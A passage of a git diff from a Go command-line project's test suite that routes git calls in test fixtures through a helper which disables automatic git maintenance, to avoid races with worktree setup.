"beads.role") + roleCmd := gitCommand("config", "beads.role") roleCmd.Dir = projectDir roleOut, err := roleCmd.Output() if err != nil { diff --git a/cmd/bd/create_embedded_test.go b/cmd/bd/create_embedded_test.go index a40734abe..43ed28a3a 100644 --- a/cmd/bd/create_embedded_test.go +++ b/cmd/bd/create_embedded_test.go @@ -1245,7 +1245,7 @@ func TestEmbeddedCreateWithGitRemote(t *testing.T) { dir, _, _ := bdInit(t, bd, "--prefix", "gr") // Add a fake git remote so isBackupAutoEnabled returns true - cmd := exec.Command("git", "remote", "add", "origin", "https://example.com/fake.git") + cmd := gitCommand("remote", "add", "origin", "https://example.com/fake.git") cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git remote add failed: %v\n%s", err, out) diff --git a/cmd/bd/delete_test.go b/cmd/bd/delete_test.go index ccec010b2..2c2313dfa 100644 --- a/cmd/bd/delete_test.go +++ b/cmd/bd/delete_test.go @@ -6,7 +6,6 @@ package main import ( "context" "errors" - "os/exec" "path/filepath" "strings" "testing" @@ -176,7 +175,7 @@ func testGitInit(t *testing.T, dir string) { func testGitCmd(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\nOutput: %s", args, err, output) diff --git a/cmd/bd/doctor/bare_parent_fallback_test.go b/cmd/bd/doctor/bare_parent_fallback_test.go index c6d2cbe3e..d50e6f8f8 100644 --- a/cmd/bd/doctor/bare_parent_fallback_test.go +++ b/cmd/bd/doctor/bare_parent_fallback_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -148,7 +147,7 @@ func setupBareParentWorktreeForDoctorTest(t *testing.T) (string, string) { func runGitInDirForDoctorTest(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/config_values_test.go b/cmd/bd/doctor/config_values_test.go index 86030fa27..77a6e1963 100644 --- a/cmd/bd/doctor/config_values_test.go +++ b/cmd/bd/doctor/config_values_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -29,7 +28,7 @@ func setupDoctorSharedWorktree(t *testing.T) (mainRepoDir, worktreeDir string) { run := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -48,13 +47,13 @@ func setupDoctorSharedWorktree(t *testing.T) (mainRepoDir, worktreeDir string) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir = filepath.Join(tmpDir, "worktree") - addWorktree := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + addWorktree := gitCommand("worktree", "add", worktreeDir, "HEAD") addWorktree.Dir = mainRepoDir if out, err := addWorktree.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - removeWorktree := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + removeWorktree := gitCommand("worktree", "remove", "--force", worktreeDir) removeWorktree.Dir = mainRepoDir _ = removeWorktree.Run() }) diff --git a/cmd/bd/doctor/database_test.go b/cmd/bd/doctor/database_test.go index 7e3555aa7..f57f24760 100644 --- a/cmd/bd/doctor/database_test.go +++ b/cmd/bd/doctor/database_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -179,7 +178,7 @@ func TestCheckSchemaCompatibility(t *testing.T) { func runDoctorGitInDir(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/doctor_worktree_test.go b/cmd/bd/doctor/doctor_worktree_test.go index f232b38bf..df533a57b 100644 --- a/cmd/bd/doctor/doctor_worktree_test.go +++ b/cmd/bd/doctor/doctor_worktree_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -22,7 +21,7 @@ func setupWorktreeRepo(t *testing.T) (mainRepoDir, worktreeDir string) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -39,13 +38,13 @@ func setupWorktreeRepo(t *testing.T) (mainRepoDir, worktreeDir string) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir = filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/doctor/dolt_e2e_test.go b/cmd/bd/doctor/dolt_e2e_test.go index 412eae31a..6402a4348 100644 --- a/cmd/bd/doctor/dolt_e2e_test.go +++ b/cmd/bd/doctor/dolt_e2e_test.go @@ -282,7 +282,7 @@ func setupMinimalGitRepo(t *testing.T) string { {"config", "user.name", "test"}, {"config", "user.email", "test@test.com"}, } { - cmd := exec.Command("git", append([]string{"-C", tmpDir}, args...)...) + cmd := gitCommand(append([]string{"-C", tmpDir}, args...)...) if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) } diff --git a/cmd/bd/doctor/fix/common_test.go b/cmd/bd/doctor/fix/common_test.go index ce7430801..b6edccdf9 100644 --- a/cmd/bd/doctor/fix/common_test.go +++ b/cmd/bd/doctor/fix/common_test.go @@ -2,6 +2,7 @@ package fix import ( "os" + "os/exec" "path/filepath" "testing" ) @@ -162,3 +163,14 @@ func TestLocalWorkspaceBeadsDir(t *testing.T) { } }) } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} diff --git a/cmd/bd/doctor/fix/fix_test.go b/cmd/bd/doctor/fix/fix_test.go index a9f6b9a92..10ab03628 100644 --- a/cmd/bd/doctor/fix/fix_test.go +++ b/cmd/bd/doctor/fix/fix_test.go @@ -2,7 +2,6 @@ package fix import ( "os" - "os/exec" "path/filepath" "testing" ) @@ -46,7 +45,7 @@ func setupSharedWorktreeWorkspace(t *testing.T) (mainRepoDir, worktreeDir string run := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -65,13 +64,13 @@ func setupSharedWorktreeWorkspace(t *testing.T) (mainRepoDir, worktreeDir string run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir = filepath.Join(tmpDir, "worktree") - addWorktree := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + addWorktree := gitCommand("worktree", "add", worktreeDir, "HEAD") addWorktree.Dir = mainRepoDir if out, err := addWorktree.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - removeWorktree := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + removeWorktree := gitCommand("worktree", "remove", "--force", worktreeDir) removeWorktree.Dir = mainRepoDir _ = removeWorktree.Run() }) @@ -82,7 +81,7 @@ func setupSharedWorktreeWorkspace(t *testing.T) (mainRepoDir, worktreeDir string // runGit runs a git command and returns output func runGit(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/fix/git_repo_template_test.go b/cmd/bd/doctor/fix/git_repo_template_test.go index 81b1b6818..869520510 100644 --- a/cmd/bd/doctor/fix/git_repo_template_test.go +++ b/cmd/bd/doctor/fix/git_repo_template_test.go @@ -3,7 +3,6 @@ package fix import ( "fmt" "os" - "os/exec" "path/filepath" "strings" "sync" @@ -31,7 +30,7 @@ func initGitTemplate() { } gitTemplateDir = dir - cmd := exec.Command("git", "init", "--initial-branch=main") + cmd := gitCommand("init", "--initial-branch=main") cmd.Dir = dir if err := cmd.Run(); err != nil { gitTemplateErr = fmt.Errorf("git init failed: %w", err) @@ -42,7 +41,7 @@ func initGitTemplate() { {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test User"}, } { - cmd = exec.Command("git", args...) + cmd = gitCommand(args...) cmd.Dir = dir if err := cmd.Run(); err != nil { gitTemplateErr = fmt.Errorf("git %v failed: %w", args, err) @@ -113,13 +112,13 @@ func TestNewGitRepo_UsesRepoLocalHooksPathDespiteGlobalConfig(t *testing.T) { t.Fatalf("failed to create fake global hooks dir: %v", err) } - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", globalHooks) + setGlobal := gitCommand("config", "--global", "core.hooksPath", globalHooks) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("failed to set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } repoDir := newGitRepo(t) - getLocal := exec.Command("git", "config", "--get", "core.hooksPath") + getLocal := gitCommand("config", "--get", "core.hooksPath") getLocal.Dir = repoDir out, err := getLocal.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/fix/hooks_test.go b/cmd/bd/doctor/fix/hooks_test.go index 512dba992..166b83699 100644 --- a/cmd/bd/doctor/fix/hooks_test.go +++ b/cmd/bd/doctor/fix/hooks_test.go @@ -2,7 +2,6 @@ package fix import ( "os" - "os/exec" "path/filepath" "testing" ) @@ -844,7 +843,7 @@ func TestDetectActiveHookManager(t *testing.T) { } // Test isolation: force repo-local hooks path so global git config // does not redirect detection to an unrelated directory. - setHooksPathCmd := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + setHooksPathCmd := gitCommand("config", "core.hooksPath", ".git/hooks") setHooksPathCmd.Dir = dir if err := setHooksPathCmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath: %v", err) @@ -879,7 +878,7 @@ func TestDetectActiveHookManager_CustomHooksPath(t *testing.T) { t.Fatalf("failed to copy git template: %v", err) } // Start from repo-local hooks for test isolation; override below. - setHooksPathCmd := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + setHooksPathCmd := gitCommand("config", "core.hooksPath", ".git/hooks") setHooksPathCmd.Dir = dir if err := setHooksPathCmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath: %v", err) @@ -898,7 +897,7 @@ func TestDetectActiveHookManager_CustomHooksPath(t *testing.T) { } // Set core.hooksPath via git config - configCmd := exec.Command("git", "config", "core.hooksPath", "my-hooks") + configCmd := gitCommand("config", "core.hooksPath", "my-hooks") configCmd.Dir = dir if err := configCmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath: %v", err) diff --git a/cmd/bd/doctor/fix/metadata_dolt_test.go b/cmd/bd/doctor/fix/metadata_dolt_test.go index f04749f43..72c18cddb 100644 --- a/cmd/bd/doctor/fix/metadata_dolt_test.go +++ b/cmd/bd/doctor/fix/metadata_dolt_test.go @@ -5,7 +5,6 @@ package fix import ( "context" "os" - "os/exec" "path/filepath" "testing" @@ -38,7 +37,7 @@ func setupDoltWorkspace(t *testing.T) string { if err := copyGitDir(gitTemplateDir, dir); err != nil { t.Fatalf("failed to copy git template: %v", err) } - cmd := exec.Command("git", "config", "remote.origin.url", "https://github.com/test/dolt-metadata-fix.git") + cmd := gitCommand("config", "remote.origin.url", "https://github.com/test/dolt-metadata-fix.git") cmd.Dir = dir _ = cmd.Run() diff --git a/cmd/bd/doctor/git_hygiene_test.go b/cmd/bd/doctor/git_hygiene_test.go index a7fb2c9d2..20560018a 100644 --- a/cmd/bd/doctor/git_hygiene_test.go +++ b/cmd/bd/doctor/git_hygiene_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -29,7 +28,7 @@ func mkTmpDirInTmp(t *testing.T, prefix string) string { func runGit(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/git_repo_template_test.go b/cmd/bd/doctor/git_repo_template_test.go index 1fe0aedc0..241d6f57d 100644 --- a/cmd/bd/doctor/git_repo_template_test.go +++ b/cmd/bd/doctor/git_repo_template_test.go @@ -3,7 +3,6 @@ package doctor import ( "fmt" "os" - "os/exec" "path/filepath" "strings" "sync" @@ -31,7 +30,7 @@ func initGitTemplate() { } gitTemplateDir = dir - cmd := exec.Command("git", "init", "--initial-branch=main") + cmd := gitCommand("init", "--initial-branch=main") cmd.Dir = dir if err := cmd.Run(); err != nil { gitTemplateErr = fmt.Errorf("git init failed: %w", err) @@ -42,7 +41,7 @@ func initGitTemplate() { {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test User"}, } { - cmd = exec.Command("git", args...) + cmd = gitCommand(args...) cmd.Dir = dir if err := cmd.Run(); err != nil { gitTemplateErr = fmt.Errorf("git %v failed: %w", args, err) @@ -113,13 +112,13 @@ func TestNewGitRepo_UsesRepoLocalHooksPathDespiteGlobalConfig(t *testing.T) { t.Fatalf("failed to create fake global hooks dir: %v", err) } - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", globalHooks) + setGlobal := gitCommand("config", "--global", "core.hooksPath", globalHooks) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("failed to set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } repoDir := newGitRepo(t) - getLocal := exec.Command("git", "config", "--get", "core.hooksPath") + getLocal := gitCommand("config", "--get", "core.hooksPath") getLocal.Dir = repoDir out, err := getLocal.CombinedOutput() if err != nil { diff --git a/cmd/bd/doctor/git_test.go b/cmd/bd/doctor/git_test.go index 420c44dd8..45b9214ef 100644 --- a/cmd/bd/doctor/git_test.go +++ b/cmd/bd/doctor/git_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -70,7 +69,7 @@ func setupGitRepoInDir(t *testing.T, dir string) { // Force repo-local hooks path for test isolation. This prevents global // core.hooksPath from affecting hook detection behavior in tests. - cmd := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + cmd := gitCommand("config", "core.hooksPath", ".git/hooks") cmd.Dir = dir if err := cmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath for test repo: %v", err) diff --git a/cmd/bd/doctor/git_test_helpers_test.go b/cmd/bd/doctor/git_test_helpers_test.go index 9f713303e..bc16ab372 100644 --- a/cmd/bd/doctor/git_test_helpers_test.go +++ b/cmd/bd/doctor/git_test_helpers_test.go @@ -2,6 +2,7 @@ package doctor import ( "os" + "os/exec" "testing" "github.com/steveyegge/beads/internal/git" @@ -27,3 +28,14 @@ func runInDir(t *testing.T, dir string, fn func()) { }() fn() } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} diff --git a/cmd/bd/doctor/gitignore_test.go b/cmd/bd/doctor/gitignore_test.go index 05e529045..cc4e679ce 100644 --- a/cmd/bd/doctor/gitignore_test.go +++ b/cmd/bd/doctor/gitignore_test.go @@ -3,7 +3,6 @@ package doctor import ( "bytes" "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -1439,7 +1438,7 @@ func TestCheckRedirectNotTracked_FileTracked(t *testing.T) { } // Stage (track) the redirect file - gitAdd := exec.Command("git", "add", redirectPath) + gitAdd := gitCommand("add", redirectPath) if err := gitAdd.Run(); err != nil { t.Skipf("git add failed: %v", err) } @@ -1498,13 +1497,13 @@ func TestFixRedirectTracking(t *testing.T) { } // Stage (track) the redirect file - gitAdd := exec.Command("git", "add", redirectPath) + gitAdd := gitCommand("add", redirectPath) if err := gitAdd.Run(); err != nil { t.Skipf("git add failed: %v", err) } // Verify it's tracked - lsFiles := exec.Command("git", "ls-files", redirectPath) + lsFiles := gitCommand("ls-files", redirectPath) output, _ := lsFiles.Output() if strings.TrimSpace(string(output)) == "" { t.Fatal("redirect file should be tracked before fix") @@ -1516,7 +1515,7 @@ func TestFixRedirectTracking(t *testing.T) { } // Verify it's no longer tracked - lsFiles = exec.Command("git", "ls-files", redirectPath) + lsFiles = gitCommand("ls-files", redirectPath) output, _ = lsFiles.Output() if strings.TrimSpace(string(output)) != "" { t.Error("redirect file should be untracked after fix") @@ -1789,7 +1788,7 @@ func TestCheckLastTouchedNotTracked_FileTracked(t *testing.T) { } // Stage (track) the last-touched file - gitAdd := exec.Command("git", "add", lastTouchedPath) + gitAdd := gitCommand("add", lastTouchedPath) if err := gitAdd.Run(); err != nil { t.Skipf("git add failed: %v", err) } @@ -1848,7 +1847,7 @@ func TestFixLastTouchedTracking(t *testing.T) { } // Stage (track) the last-touched file - gitAdd := exec.Command("git", "add", lastTouchedPath) + gitAdd := gitCommand("add", lastTouchedPath) if err := gitAdd.Run(); err != nil { t.Skipf("git add failed: %v", err) } @@ -2485,7 +2484,7 @@ func setupBareParentWorktreeForGitignoreTest(t *testing.T) (string, string) { func runGitInDirForGitignoreTest(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { @@ -2946,7 +2945,7 @@ func TestCheckNoVestigialSyncWorktrees_WithRedirectNoWorktree(t *testing.T) { tmpDir := t.TempDir() // Create a git repo so the git root detection works - cmd := exec.Command("git", "init", tmpDir) + cmd := gitCommand("init", tmpDir) if err := cmd.Run(); err != nil { t.Skipf("git init failed: %v", err) } @@ -2985,7 +2984,7 @@ func TestCheckNoVestigialSyncWorktrees_VestigialDetected(t *testing.T) { tmpDir := t.TempDir() // Create a git repo - cmd := exec.Command("git", "init", tmpDir) + cmd := gitCommand("init", tmpDir) if err := cmd.Run(); err != nil { t.Skipf("git init failed: %v", err) } diff --git a/cmd/bd/doctor/hooks_migration_test.go b/cmd/bd/doctor/hooks_migration_test.go index 1e08ebc60..9134d51d5 100644 --- a/cmd/bd/doctor/hooks_migration_test.go +++ b/cmd/bd/doctor/hooks_migration_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "testing" ) @@ -214,7 +213,7 @@ func findHookPlan(plan HookMigrationPlan, name string) (HookMigrationHookPlan, b func forceRepoHooksPath(t *testing.T, repoPath string) { t.Helper() - cmd := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + cmd := gitCommand("config", "core.hooksPath", ".git/hooks") cmd.Dir = repoPath if err := cmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath for test repo: %v", err) diff --git a/cmd/bd/doctor/hooks_path_test.go b/cmd/bd/doctor/hooks_path_test.go index a2888aae3..36bf97a1c 100644 --- a/cmd/bd/doctor/hooks_path_test.go +++ b/cmd/bd/doctor/hooks_path_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -12,7 +11,7 @@ import ( // setGitConfig sets a git config value in dir, failing the test on error. func setGitConfig(t *testing.T, dir, key, value string) { t.Helper() - cmd := exec.Command("git", "config", key, value) + cmd := gitCommand("config", key, value) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git config %s %s failed: %v (%s)", key, value, err, strings.TrimSpace(string(out))) @@ -23,7 +22,7 @@ func setGitConfig(t *testing.T, dir, key, value string) { // since the goal is just to make sure the key is absent. func unsetGitConfig(t *testing.T, dir, key string) { t.Helper() - cmd := exec.Command("git", "config", "--unset", key) + cmd := gitCommand("config", "--unset", key) cmd.Dir = dir _ = cmd.Run() } @@ -31,7 +30,7 @@ func unsetGitConfig(t *testing.T, dir, key string) { // getGitConfig reads a git config value in dir. Returns "" if unset. func getGitConfig(t *testing.T, dir, key string) string { t.Helper() - cmd := exec.Command("git", "config", "--get", key) + cmd := gitCommand("config", "--get", key) cmd.Dir = dir out, err := cmd.Output() if err != nil { diff --git a/cmd/bd/doctor/role_test.go b/cmd/bd/doctor/role_test.go index 5ec4ca071..ae4c08a76 100644 --- a/cmd/bd/doctor/role_test.go +++ b/cmd/bd/doctor/role_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "runtime" "testing" @@ -57,7 +56,7 @@ func TestCheckBeadsRole_Maintainer(t *testing.T) { tmpDir := newGitRepo(t) // Set beads.role to maintainer - cmd := exec.Command("git", "config", "beads.role", "maintainer") + cmd := gitCommand("config", "beads.role", "maintainer") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("git config failed: %v", err) @@ -77,7 +76,7 @@ func TestCheckBeadsRole_Contributor(t *testing.T) { tmpDir := newGitRepo(t) // Set beads.role to contributor - cmd := exec.Command("git", "config", "beads.role", "contributor") + cmd := gitCommand("config", "beads.role", "contributor") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("git config failed: %v", err) @@ -97,7 +96,7 @@ func TestCheckBeadsRole_InvalidValue(t *testing.T) { tmpDir := newGitRepo(t) // Set beads.role to an invalid value - cmd := exec.Command("git", "config", "beads.role", "admin") + cmd := gitCommand("config", "beads.role", "admin") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("git config failed: %v", err) @@ -182,7 +181,7 @@ func TestCheckBeadsRoleIgnoresInheritedRouting(t *testing.T) { target, decoy := newGitRepo(t), newGitRepo(t) runGit := func(repo string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = repo, gitenv.ScrubRouting(os.Environ()) if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("fixture git %v: %v: %s", args, err, out) diff --git a/cmd/bd/doctor/tracked_runtime_test.go b/cmd/bd/doctor/tracked_runtime_test.go index b0757b601..4af393c00 100644 --- a/cmd/bd/doctor/tracked_runtime_test.go +++ b/cmd/bd/doctor/tracked_runtime_test.go @@ -2,7 +2,6 @@ package doctor import ( "os" - "os/exec" "path/filepath" "testing" ) @@ -10,7 +9,7 @@ import ( func disableGlobalGitIgnore(t *testing.T, repoDir string) { t.Helper() - cmd := exec.Command("git", "config", "core.excludesFile", "") + cmd := gitCommand("config", "core.excludesFile", "") cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git config core.excludesFile failed: %v\n%s", err, out) @@ -58,12 +57,12 @@ func TestCheckTrackedRuntimeFiles_WorktreeFallbackUsesSharedBeads(t *testing.T) t.Fatalf("failed to write last-touched: %v", err) } - add := exec.Command("git", "add", "-f", ".beads/last-touched") + add := gitCommand("add", "-f", ".beads/last-touched") add.Dir = mainRepoDir if out, err := add.CombinedOutput(); err != nil { t.Fatalf("git add failed: %v\n%s", err, out) } - commit := exec.Command("git", "commit", "-m", "Track runtime artifact for test") + commit := gitCommand("commit", "-m", "Track runtime artifact for test") commit.Dir = mainRepoDir if out, err := commit.CombinedOutput(); err != nil { t.Fatalf("git commit failed: %v\n%s", err, out) @@ -93,12 +92,12 @@ func TestFixTrackedRuntimeFiles_WorktreeFallbackUsesSharedBeads(t *testing.T) { t.Fatalf("failed to write last-touched: %v", err) } - add := exec.Command("git", "add", "-f", ".beads/last-touched") + add := gitCommand("add", "-f", ".beads/last-touched") add.Dir = mainRepoDir if out, err := add.CombinedOutput(); err != nil { t.Fatalf("git add failed: %v\n%s", err, out) } - commit := exec.Command("git", "commit", "-m", "Track runtime artifact for fix test") + commit := gitCommand("commit", "-m", "Track runtime artifact for fix test") commit.Dir = mainRepoDir if out, err := commit.CombinedOutput(); err != nil { t.Fatalf("git commit failed: %v\n%s", err, out) @@ -110,7 +109,7 @@ func TestFixTrackedRuntimeFiles_WorktreeFallbackUsesSharedBeads(t *testing.T) { t.Fatalf("FixTrackedRuntimeFiles() error = %v", err) } - status := exec.Command("git", "status", "--short", "--", ".beads/last-touched") + status := gitCommand("status", "--short", "--", ".beads/last-touched") status.Dir = mainRepoDir out, err := status.CombinedOutput() if err != nil { diff --git a/cmd/bd/dolt_autocommit_integration_test.go b/cmd/bd/dolt_autocommit_integration_test.go index 9003524ab..b90ec4a49 100644 --- a/cmd/bd/dolt_autocommit_integration_test.go +++ b/cmd/bd/dolt_autocommit_integration_test.go @@ -16,7 +16,7 @@ import ( func setupGitRepoForIntegration(t *testing.T, dir string) { t.Helper() - cmd := exec.Command("git", "init", dir) + cmd := gitCommand("init", dir) if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git init failed: %v\n%s", err, out) } @@ -24,7 +24,7 @@ func setupGitRepoForIntegration(t *testing.T, dir string) { {"-C", dir, "config", "user.email", "test@example.com"}, {"-C", dir, "config", "user.name", "Test User"}, } { - cmd = exec.Command("git", args...) + cmd = gitCommand(args...) if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) } diff --git a/cmd/bd/dolt_remote_origin_guard_embedded_test.go b/cmd/bd/dolt_remote_origin_guard_embedded_test.go index 53bca5adc..66b4943a4 100644 --- a/cmd/bd/dolt_remote_origin_guard_embedded_test.go +++ b/cmd/bd/dolt_remote_origin_guard_embedded_test.go @@ -27,7 +27,7 @@ func remoteAdd(t *testing.T, bd, dir string, args ...string) (string, string, er // setGitOrigin adds a git remote named "origin" to the directory. func setGitOrigin(t *testing.T, dir, url string) { t.Helper() - cmd := exec.Command("git", "remote", "add", "origin", url) + cmd := gitCommand("remote", "add", "origin", url) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git remote add origin %s: %v\n%s", url, err, out) diff --git a/cmd/bd/dolt_remote_origin_guard_test.go b/cmd/bd/dolt_remote_origin_guard_test.go index 0a5eb2f90..1ccdcf5eb 100644 --- a/cmd/bd/dolt_remote_origin_guard_test.go +++ b/cmd/bd/dolt_remote_origin_guard_test.go @@ -1,7 +1,6 @@ package main import ( - "os/exec" "strings" "testing" @@ -259,7 +258,7 @@ func initBareGitRepoForTest(t *testing.T, dir string) { // runGitCommand runs a git command in dir and fatals on error. func runGitCommand(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %s: %v\n%s", strings.Join(args, " "), err, out) diff --git a/cmd/bd/dolt_remote_reset_data_embedded_test.go b/cmd/bd/dolt_remote_reset_data_embedded_test.go index 63e902d95..682e9fe77 100644 --- a/cmd/bd/dolt_remote_reset_data_embedded_test.go +++ b/cmd/bd/dolt_remote_reset_data_embedded_test.go @@ -4,7 +4,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -17,7 +16,7 @@ import ( // resetDataRunGit runs a git command in dir, fatal on failure. func resetDataRunGit(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/explicit_db_nodb_test.go b/cmd/bd/explicit_db_nodb_test.go index 17c58f017..12a3abe02 100644 --- a/cmd/bd/explicit_db_nodb_test.go +++ b/cmd/bd/explicit_db_nodb_test.go @@ -78,16 +78,16 @@ func initGitRepo(t *testing.T, dir string) { if err := os.MkdirAll(dir, 0o755); err != nil { t.Fatalf("mkdir repo: %v", err) } - cmd := exec.Command("git", "init", "-q") + cmd := gitCommand("init", "-q") cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git init %s: %v\n%s", dir, err, out) } writeFile(t, filepath.Join(dir, ".gitignore"), []byte(".beads/.env\n")) - commitCmd := exec.Command("git", "add", ".") + commitCmd := gitCommand("add", ".") commitCmd.Dir = dir _, _ = commitCmd.CombinedOutput() - commitCmd = exec.Command("git", "commit", "-q", "-m", "init") + commitCmd = gitCommand("commit", "-q", "-m", "init") commitCmd.Dir = dir commitCmd.Env = append(os.Environ(), "GIT_AUTHOR_NAME=Test", diff --git a/cmd/bd/export_auto_test.go b/cmd/bd/export_auto_test.go index 097addcf3..eae7a1e06 100644 --- a/cmd/bd/export_auto_test.go +++ b/cmd/bd/export_auto_test.go @@ -53,7 +53,7 @@ func TestGitAddFile_InWorktreeHook_StagesCorrectPath(t *testing.T) { } runGit := func(dir string, args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = dir if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v in %s failed: %v\n%s", args, dir, err, out) @@ -71,7 +71,7 @@ func TestGitAddFile_InWorktreeHook_StagesCorrectPath(t *testing.T) { worktree 